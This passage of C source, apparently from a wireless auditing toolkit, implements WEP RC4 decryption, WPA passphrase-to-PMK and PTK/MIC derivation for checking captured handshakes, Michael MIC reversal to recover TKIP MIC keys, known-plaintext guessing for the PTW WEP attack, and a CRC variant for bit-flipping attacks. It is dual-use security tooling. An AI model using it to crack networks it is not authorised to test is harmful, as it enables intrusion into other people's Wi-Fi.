( (uint32) (b)[(i) + 1] << 8 ) \ | ( (uint32) (b)[(i) + 2] << 16 ) \ | ( (uint32) (b)[(i) + 3] << 24 ); \ } #define PUT_UINT32_LE(n,b,i) \ { \ (b)[(i) ] = (uint8) ( (n) ); \ (b)[(i) + 1] = (uint8) ( (n) >> 8 ); \ (b)[(i) + 2] = (uint8) ( (n) >> 16 ); \ (b)[(i) + 3] = (uint8) ( (n) >> 24 ); \ } #define GET_UINT32_BE(n,b,i) \ { \ (n) = ( (uint32) (b)[(i) ] << 24 ) \ | ( (uint32) (b)[(i) + 1] << 16 ) \ | ( (uint32) (b)[(i) + 2] << 8 ) \ | ( (uint32) (b)[(i) + 3] ); \ } #define PUT_UINT32_BE(n,b,i) \ { \ (b)[(i) ] = (uint8) ( (n) >> 24 ); \ (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \ (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \ (b)[(i) + 3] = (uint8) ( (n) ); \ } static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; /* RC4 encryption/ WEP decryption check */ /* SSL decryption */ int encrypt_wep( uchar *data, int len, uchar *key, int keylen ) { RC4_KEY S; RC4_set_key( &S, keylen, key ); RC4( &S, len, data, data ); return ( 0 ); } int decrypt_wep( uchar *data, int len, uchar *key, int keylen ) { encrypt_wep (data,len,key,keylen); return( check_crc_buf( data, len - 4 ) ); } /* An implementation of the ARC4 algorithm */ void rc4_setup( struct rc4_state *s, unsigned char *key, int length ) { int i, j, k, *m, a; s->x = 0; s->y = 0; m = s->m; for( i = 0; i < 256; i++ ) { m[i] = i; } j = k = 0; for(i=0 ; i < 256; i++ ) { a = m[i]; j = (unsigned char) ( j + a + key[k] ); m[i] = m[j]; m[j] = a; if( ++k >= length ) k = 0; } } void rc4_crypt( struct rc4_state *s, unsigned char *data, int length ) { int i, x, y, *m, a, b; x = s->x; y = s->y; m = s->m; for( i = 0; i < length; i++ ) { x = (unsigned char) ( x + 1 ); a = m[x]; y = (unsigned char) ( y + a ); m[x] = b = m[y]; m[y] = a; data[i] ^= m[(unsigned char) ( a + b )]; } s->x = x; s->y = y; } /* WEP (barebone RC4) en-/decryption routines */ /* int encrypt_wep( uchar *data, int len, uchar *key, int keylen ) { struct rc4_state S; rc4_setup( &S, key, keylen ); rc4_crypt( &S, data, len ); return( 0 ); } int decrypt_wep( uchar *data, int len, uchar *key, int keylen ) { struct rc4_state S; rc4_setup( &S, key, keylen ); rc4_crypt( &S, data, len ); return( check_crc_buf( data, len - 4 ) ); } */ /* derive the PMK from the passphrase and the essid */ void calc_pmk( char *key, char *essid_pre, uchar pmk[40] ) { int i, j, slen; uchar buffer[65]; char essid[33+4]; SHA_CTX ctx_ipad; SHA_CTX ctx_opad; SHA_CTX sha1_ctx; memset(essid, 0, sizeof(essid)); memcpy(essid, essid_pre, strlen(essid_pre)); slen = strlen( essid ) + 4; /* setup the inner and outer contexts */ memset( buffer, 0, sizeof( buffer ) ); strncpy( (char *) buffer, key, sizeof( buffer ) - 1 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x36; SHA1_Init( &ctx_ipad ); SHA1_Update( &ctx_ipad, buffer, 64 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x6A; SHA1_Init( &ctx_opad ); SHA1_Update( &ctx_opad, buffer, 64 ); /* iterate HMAC-SHA1 over itself 8192 times */ essid[slen - 1] = '\1'; HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk, NULL); memcpy( buffer, pmk, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j] ^= buffer[j]; } essid[slen - 1] = '\2'; HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk+20, NULL); memcpy( buffer, pmk + 20, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j + 20] ^= buffer[j]; } } // void calc_ptk (struct WPA_hdsk *wpa, unsigned char bssid[6], unsigned char pmk[32], unsigned char ptk[80]) { // int i; // uchar pke[100]; // HMAC_CTX ctx; // // memcpy( pke, "Pairwise key expansion", 23 ); // // if( memcmp( wpa->stmac, bssid, 6 ) < 0 ) // { // memcpy( pke + 23, wpa->stmac, 6 ); // memcpy( pke + 29, bssid, 6 ); // } // else // { // memcpy( pke + 23, bssid, 6 ); // memcpy( pke + 29, wpa->stmac, 6 ); // } // // if( memcmp( wpa->snonce, wpa->anonce, 32 ) < 0 ) // { // memcpy( pke + 35, wpa->snonce, 32 ); // memcpy( pke + 67, wpa->anonce, 32 ); // } // else // { // memcpy( pke + 35, wpa->anonce, 32 ); // memcpy( pke + 67, wpa->snonce, 32 ); // } // // HMAC_CTX_init(&ctx); // HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL); // for(i = 0; i < 4; i++ ) // { // pke[99] = i; // //HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL); // HMAC_Init_ex(&ctx, 0, 0, 0, 0); // HMAC_Update(&ctx, pke, 100); // HMAC_Final(&ctx, ptk + i*20, NULL); // } // HMAC_CTX_cleanup(&ctx); // } void calc_mic (struct AP_info *ap, unsigned char pmk[32], unsigned char ptk[80], unsigned char mic[20]) { int i; uchar pke[100]; HMAC_CTX ctx; memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 ) { memcpy( pke + 23, ap->wpa.stmac, 6 ); memcpy( pke + 29, ap->bssid, 6 ); } else { memcpy( pke + 23, ap->bssid, 6 ); memcpy( pke + 29, ap->wpa.stmac, 6 ); } if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 ) { memcpy( pke + 35, ap->wpa.snonce, 32 ); memcpy( pke + 67, ap->wpa.anonce, 32 ); } else { memcpy( pke + 35, ap->wpa.anonce, 32 ); memcpy( pke + 67, ap->wpa.snonce, 32 ); } HMAC_CTX_init(&ctx); HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL); for(i = 0; i < 4; i++ ) { pke[99] = i; //HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL); HMAC_Init_ex(&ctx, 0, 0, 0, 0); HMAC_Update(&ctx, pke, 100); HMAC_Final(&ctx, ptk + i*20, NULL); } HMAC_CTX_cleanup(&ctx); if( ap->wpa.keyver == 1 ) { HMAC(EVP_md5(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL); } else { HMAC(EVP_sha1(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL); } } unsigned long calc_crc( unsigned char * buf, int len) { unsigned long crc = 0xFFFFFFFF; for( ; len > 0; len--, buf++ ) crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( ~crc ); } //without inversion, must be used for bit flipping attacks unsigned long calc_crc_plain( unsigned char * buf, int len) { unsigned long crc = 0x00000000; for( ; len > 0; len--, buf++ ) crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( crc ); } /* CRC checksum verification routine */ int check_crc_buf( unsigned char *buf, int len ) { unsigned long crc; crc = calc_crc(buf, len); buf+=len; return( ( ( crc ) & 0xFF ) == buf[0] && ( ( crc >> 8 ) & 0xFF ) == buf[1] && ( ( crc >> 16 ) & 0xFF ) == buf[2] && ( ( crc >> 24 ) & 0xFF ) == buf[3] ); } /* Add CRC32 */ int add_crc32(unsigned char* data, int length) { unsigned long crc; crc = calc_crc(data, length); data[length] = (crc ) & 0xFF; data[length+1] = (crc >> 8) & 0xFF; data[length+2] = (crc >> 16) & 0xFF; data[length+3] = (crc >> 24) & 0xFF; return 0; } int add_crc32_plain(unsigned char* data, int length) { unsigned long crc; crc = calc_crc_plain(data, length); data[length] = (crc ) & 0xFF; data[length+1] = (crc >> 8) & 0xFF; data[length+2] = (crc >> 16) & 0xFF; data[length+3] = (crc >> 24) & 0xFF; return 0; } int calc_crc_buf( unsigned char *buf, int len ) { return (calc_crc(buf, len)); } void *get_da(unsigned char *wh) { if (wh[1] & IEEE80211_FC1_DIR_FROMDS) return wh + 4; else return wh + 4 + 6*2; } void *get_sa(unsigned char *wh) { if (wh[1] & IEEE80211_FC1_DIR_FROMDS) return wh + 4 + 6*2; else return wh + 4 + 6; } int is_ipv6(void *wh) { if(memcmp(wh+4, "\x33\x33", 2) == 0 || memcmp(wh+16, "\x33\x33", 2) == 0) return 1; return 0; } int is_dhcp_discover(void *wh, int len) { if( (memcmp(wh+4, BROADCAST, 6) == 0 || memcmp(wh+16, BROADCAST, 6) == 0) && (len >= 360 - 24 - 4 - 4 && len <= 380 - 24 - 4 - 4 ) ) return 1; return 0; } int is_arp(void *wh, int len) { int arpsize = 8 + 8 + 10*2; if(wh) {} /* remove non BROADCAST frames? could be anything, but * chances are good that we got an arp response tho. */ if (len == arpsize || len == 54) return 1; return 0; } int is_qos_arp_tkip(void *wh, int len) { unsigned char *packet = (unsigned char*) wh; int qosarpsize = (24 + 2) + 8 + (8 + (8 + 10*2)) + 8 + 4; //82 in total if((packet[1] & 3) == 1) //to ds { if (len == qosarpsize) //always wireless return 1; } if((packet[1] & 3) == 2) //from ds { if (len == qosarpsize || len == qosarpsize + 18) //wireless or padded wired return 1; } return 0; } int is_spantree(void *wh) { if ( memcmp( wh + 4, SPANTREE, 6 ) == 0 || memcmp( wh + 16, SPANTREE, 6 ) == 0 ) return 1; return 0; } int is_cdp_vtp(void *wh) { if ( memcmp( wh + 4, CDP_VTP, 6 ) == 0 || memcmp( wh + 16, CDP_VTP, 6 ) == 0 ) return 1; return 0; } /* weight is used for guesswork in PTW. Can be null if known_clear is not for * PTW, but just for getting known clear-text. */ int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len) { unsigned char *ptr = clear; int num; if(is_arp(wh, len)) /*arp*/ { len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, get_sa(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else if(is_spantree(wh)) /*spantree*/ { len = sizeof(S_LLC_SNAP_SPANTREE) - 1; memcpy(ptr, S_LLC_SNAP_SPANTREE, len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else if(is_cdp_vtp(wh)) /*spantree*/ { len = sizeof(S_LLC_SNAP_CDP) - 1; memcpy(ptr, S_LLC_SNAP_CDP, len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else /* IP */ { unsigned short iplen = htons(len - 8); // printf("Assuming IP %d\n", len); len = sizeof(S_LLC_SNAP_IP) - 1; memcpy(ptr, S_LLC_SNAP_IP, len); ptr += len; #if 1 //version=4; header_length=20; services=0 len = 2; memcpy(ptr, "\x45\x00", len); ptr += len; //ip total length memcpy(ptr, &iplen, len); ptr += len; /* no guesswork */ if (!weight) { *clen = ptr - ((unsigned char*)clear); return 1; } #if 1 /* setting IP ID 0 is ok, as we * bruteforce it later */ //ID=0 len=2; memcpy(ptr, "\x00\x00", len); ptr += len; //ip flags=don't fragment len=2; memcpy(ptr, "\x40\x00", len); ptr += len; #endif #endif len = ptr - ((unsigned char*)clear); *clen = len; memcpy(clear+32, clear, len); memcpy(clear+32+14, "\x00\x00", 2); //ip flags=none num=2; assert(weight); weight[0] = 220; weight[1] = 36; return num; } *clen=0; return 1; } /* derive the pairwise transcient keys from a bunch of stuff */ int calc_ptk( struct WPA_ST_info *wpa, uchar pmk[32] ) { int i; uchar pke[100]; uchar mic[20]; memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( wpa->stmac, wpa->bssid, 6 ) < 0 ) { memcpy( pke + 23, wpa->stmac, 6 ); memcpy( pke + 29, wpa->bssid, 6 ); } else { memcpy( pke + 23, wpa->bssid, 6 ); memcpy( pke + 29, wpa->stmac, 6 ); } if( memcmp( wpa->snonce, wpa->anonce, 32 ) < 0 ) { memcpy( pke + 35, wpa->snonce, 32 ); memcpy( pke + 67, wpa->anonce, 32 ); } else { memcpy( pke + 35, wpa->anonce, 32 ); memcpy( pke + 67, wpa->snonce, 32 ); } for( i = 0; i < 4; i++ ) { pke[99] = i; HMAC(EVP_sha1(), pmk, 32, pke, 100, wpa->ptk + i * 20, NULL ); } /* check the EAPOL frame MIC */ if( ( wpa->keyver & 0x07 ) == 1 ) HMAC(EVP_md5(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL ); else HMAC(EVP_sha1(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL ); return( memcmp( mic, wpa->keymic, 16 ) == 0 ); } int init_michael(struct Michael *mic, uchar key[8]) { mic->key0 = key[0]<<0 | key[1]<<8 | key[2]<<16 | key[3]<<24; mic->key1 = key[4]<<0 | key[5]<<8 | key[6]<<16 | key[7]<<24; // and reset the message mic->left = mic->key0; mic->right = mic->key1; mic->nBytesInM = 0; mic->message = 0; return 0; } int michael_append_byte(struct Michael *mic, uchar byte) { mic->message |= (byte << (8*mic->nBytesInM)); mic->nBytesInM++; // Process the word if it is full. if( mic->nBytesInM >= 4 ) { mic->left ^= mic->message; mic->right ^= ROL32( mic->left, 17 ); mic->left += mic->right; mic->right ^= ((mic->left & 0xff00ff00) >> 8) | ((mic->left & 0x00ff00ff) << 8); mic->left += mic->right; mic->right ^= ROL32( mic->left, 3 ); mic->left += mic->right; mic->right ^= ROR32( mic->left, 2 ); mic->left += mic->right; // Clear the buffer mic->message = 0; mic->nBytesInM = 0; } return 0; } int michael_remove_byte(struct Michael *mic, uchar bytes[4]) { if( mic->nBytesInM == 0 ) { // Clear the buffer mic->message = bytes[0] << 0 | bytes[1] << 8 | bytes[2] << 16 | bytes[3] << 24; mic->nBytesInM = 4; mic->left -= mic->right; mic->right ^= ROR32( mic->left, 2 ); mic->left -= mic->right; mic->right ^= ROL32( mic->left, 3 ); mic->left -= mic->right; mic->right ^= ((mic->left & 0xff00ff00) >> 8) | ((mic->left & 0x00ff00ff) << 8); mic->left -= mic->right; mic->right ^= ROL32( mic->left, 17 ); mic->left ^= mic->message; } mic->nBytesInM--; mic->message &= ~(0xFF << (8*mic->nBytesInM)); return 0; } int michael_append(struct Michael *mic, uchar *bytes, int length) { while(length > 0) { michael_append_byte(mic, *bytes++); length--; } return 0; } int michael_remove(struct Michael *mic, uchar *bytes, int length) { while(length >= 4) { michael_remove_byte(mic, (bytes+length-4)); length--; } return 0; } int michael_finalize(struct Michael *mic) { // Append the minimum padding michael_append_byte(mic, 0x5a ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); // and then zeroes until the length is a multiple of 4 while( mic->nBytesInM != 0 ) { michael_append_byte(mic, 0 ); } // The appendByte function has already computed the result. mic->mic[0] = (mic->left >> 0 ) & 0xff; mic->mic[1] = (mic->left >> 8 ) & 0xff; mic->mic[2] = (mic->left >> 16) & 0xff; mic->mic[3] = (mic->left >> 24) & 0xff; mic->mic[4] = (mic->right >> 0 ) & 0xff; mic->mic[5] = (mic->right >> 8 ) & 0xff; mic->mic[6] = (mic->right >> 16) & 0xff; mic->mic[7] = (mic->right >> 24) & 0xff; return 0; } int michael_finalize_zero(struct Michael *mic) { // Append the minimum padding michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); // and then zeroes until the length is a multiple of 4 while( mic->nBytesInM != 0 ) { michael_append_byte(mic, 0 ); } // The appendByte function has already computed the result. mic->mic[0] = (mic->left >> 0 ) & 0xff; mic->mic[1] = (mic->left >> 8 ) & 0xff; mic->mic[2] = (mic->left >> 16) & 0xff; mic->mic[3] = (mic->left >> 24) & 0xff; mic->mic[4] = (mic->right >> 0 ) & 0xff; mic->mic[5] = (mic->right >> 8 ) & 0xff; mic->mic[6] = (mic->right >> 16) & 0xff; mic->mic[7] = (mic->right >> 24) & 0xff; return 0; } int michael_test(uchar key[8], uchar *message, int length, uchar out[8]) { int i=0; struct Michael mic0; struct Michael mic1; struct Michael mic2; struct Michael mic; init_michael(&mic0, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); init_michael(&mic1, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); init_michael(&mic2, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); michael_append_byte(&mic0, 0x02); michael_append_byte(&mic1, 0x01); michael_append_byte(&mic2, 0x03); michael_finalize(&mic0); michael_finalize_zero(&mic1); michael_finalize(&mic2); printf("Blub 2:"); for(i=0; i<8; i++) { printf("%02X ", mic0.mic[i]); } printf("\n"); printf("Blub 1:"); for(i=0; i<8; i++) { printf("%02X ", mic1.mic[i]); } printf("\n"); printf("Blub 3:"); for(i=0; i<8; i++) { printf("%02X ", mic2.mic[i]); } printf("\n"); init_michael(&mic, key); michael_append(&mic, message, length); michael_finalize(&mic); return (memcmp(mic.mic, out, 8) == 0); } int calc_tkip_mic_key(uchar* packet, int length, uchar key[8]) { int z, koffset=0, is_qos=0; uchar smac[6], dmac[6], bssid[6]; uchar prio[4]; uchar message[4096]; uchar *ptr; struct Michael mic; memset(message, 0, 4096); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z) return 0; /* Check if 802.11e (QoS) */ if( (packet[0] & 0x80) == 0x80) { z+=2; is_qos = 1; } memset(prio, 0, 4); if(is_qos) { prio[0] = packet[z-2] & 0x0f; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); koffset = 48+8; break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); koffset = 48; break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } ptr = message; memcpy(ptr, dmac, 6); ptr+=6; memcpy(ptr, smac, 6); ptr+=6; memcpy(ptr, prio, 4); ptr+=4; memcpy(ptr, packet+z, length-z-8); ptr+=length-z-8; memcpy(ptr, "\x5a", 1); ptr+=1; memcpy(ptr, ZERO, 4); ptr+=4; if((ptr-message) % 4 > 0) memcpy(ptr, ZERO, 4-((ptr-message)%4)); ptr+=4-((ptr-message)%4); init_michael(&mic, packet+length-8); michael_remove(&mic, message, (ptr-message)); mic.mic[0] = (mic.left >> 0 ) & 0xFF; mic.mic[1] = (mic.left >> 8 ) & 0xFF; mic.mic[2] = (mic.left >> 16) & 0xFF; mic.mic[3] = (mic.left >> 24) & 0xFF; mic.mic[4] = (mic.right >> 0 ) & 0xFF; mic.mic[5] = (mic.right >> 8 ) & 0xFF; mic.mic[6] = (mic.right >> 16) & 0xFF; mic.mic[7] = (mic.right >> 24) & 0xFF; memcpy(key, mic.mic, 8); return 0; } int calc_tkip_mic(uchar* packet, int length, uchar ptk[80], uchar value[8]) { int z, koffset=0, is_qos=0; uchar smac[6], dmac[6], bssid[6]; uchar prio[4]; struct Michael mic; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z) return 0; /* Check if 802.11e (QoS) */ if( (packet[0] & 0x80) == 0x80) { z+=2; is_qos = 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); koffset = 48+8; break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); koffset = 48; break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if(koffset != 48 && koffset != 48+8) return 1; init_michael(&mic, ptk+koffset); michael_append(&mic, dmac, 6); michael_append(&mic, smac, 6); memset(prio, 0, 4); if(is_qos) { prio[0] = packet[z-2] & 0x0f; } michael_append(&mic, prio, 4); michael_append(&mic, packet+z, length - z); michael_finalize(&mic); memcpy(value, mic.mic, 8); return 0; } const short TkipSbox[2][256]= { { 0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB, 0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695, 0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12, 0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A }, { 0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, 0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, 0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, 0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, 0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83, 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A, 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F, 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA, 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B, 0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, 0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, 0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, 0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, 0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B, 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1, 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF, 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E, 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6, 0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, 0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, 0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, 0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, 0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049, 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810, 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197, 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F, 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C, 0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, 0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, 0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, 0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, 0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C } }; /* TKIP (RC4 + key mixing) decryption routine */ #define ROTR1(x) ((((x) >> 1) & 0x7FFF) ^ (((x) & 1) << 15)) #define LO8(x) ( (x) & 0x00FF ) #define LO16(x) ( (x) & 0xFFFF ) #define HI8(x) ( ((x) >> 8) & 0x00FF ) #define HI16(x) ( ((x) >> 16) & 0xFFFF ) #define MK16(hi,lo) ( (lo) ^ ( LO8(hi) << 8 ) ) #define TK16(N) MK16(TK1[2*(N)+1],TK1[2*(N)]) #define _S_(x) (TkipSbox[0][LO8(x)] ^ TkipSbox[1][HI8(x)]) int calc_tkip_ppk( uchar *h80211, int caplen, uchar TK1[16], uchar key[16] ) { int i, z; uint32_t IV32; uint16_t IV16; uint16_t PPK[6]; if(caplen) {} z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } IV16 = MK16( h80211[z], h80211[z + 2] ); IV32 = ( h80211[z + 4] ) 